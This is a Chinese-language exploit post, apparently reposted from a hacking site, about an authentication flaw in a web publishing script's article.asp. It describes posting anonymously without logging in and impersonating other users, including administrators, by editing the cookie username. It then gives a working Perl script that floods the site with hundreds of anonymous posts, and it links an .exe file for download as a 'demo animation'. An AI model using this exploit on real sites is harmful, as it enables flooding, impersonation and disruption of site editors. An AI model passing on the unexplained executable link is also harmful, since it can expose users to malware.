=版权所有 软件 下载 学院 版权所有=
这个漏洞出现在:个人专栏-发表我的文章,当用户登陆后,点发表我的
文章时,有个文本框出现的是你的登陆名,发表文章是以你的
名义的,但由于这个article.ASP缺少认证,我们不必登陆直接提交如下url,
这时你可以匿名发表文章给各个主编:
http://127.0.0.1/1/article.asp?action=add
这样在查看数据库中的article_add表中的username栏时为空,也就是不能只
知道是谁发的,即使你发表一些过激的言论管理员也不能拿你
怎么样,不能禁用你的帐号。
要命的是程序对用户发表文章的间隔也没有限制,我写了个程序,是在本
机测试的,一分钟能刷几百封,而且是匿名的,如果放在十台机上
跑一天,你算一下在文栏管理-网友发布中要收到多少投稿,这不是影响了文
栏主编的正常工作。
更要命的是还有一招借刀杀人,username栏时不为空,而是用别人的名字
,这个方法是以你的名义先登陆,然后修改cookie中的用户名
为你要冒充发言的人,然后直接提交如下url:
http://127.0.0.1/1/article.asp?action=add 其中的127.0.0.1/1/要改为
网站article.asp的真实路径,这样你可以看到文本框中出现的
就是你要冒充的人的名字了,查看数据库中的article_add表中的username栏
就是这个人说的了,你可以冒充管理员给各文栏主编下命令了。
我做了个演示动画,大家可以下一个看看,动画也演示了炸弹的威力!
下载地址:
http://members.lycos.co.uk/zhuoqing/king.exe
注意: 一定要用flashget下,ie下不了
已下是动画教程中涉及到的EXPloit
#!/usr/bin/perl
# code by pinkeyes
print "pinkeyes is your best friend\n";
print "welcome to 海洋顶端网,and http://xiaomutou.51.net/bbs/\n";
use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ARGC = @ARGV;
if ($ARGC != 1) {
print "usage: $0 <times>";
exit(1);
}
$times = shift;
for($k=1;$k<=100 * $times;$k++){
for ($j=1;$j<=$times;$j++){
for ($i=1;$i<=$times;$i++) {
[1] [2]
$response = $ua->request(POST 'http://127.0.0.1//1//article.asp?action=chk',
[
csid => "$j-$i",
topic => '漏洞演示',
Word =>'fire in the hole',
login_username => 'pinkeyes'
]
);
if ($response->content =~ /已成功发布了一篇文章/) {
print "mail $i reg sUCceed!\n";
}
else {
print "mail $i reg failed!\n";
}
}
}
}
(出处:http://www.sheup.com)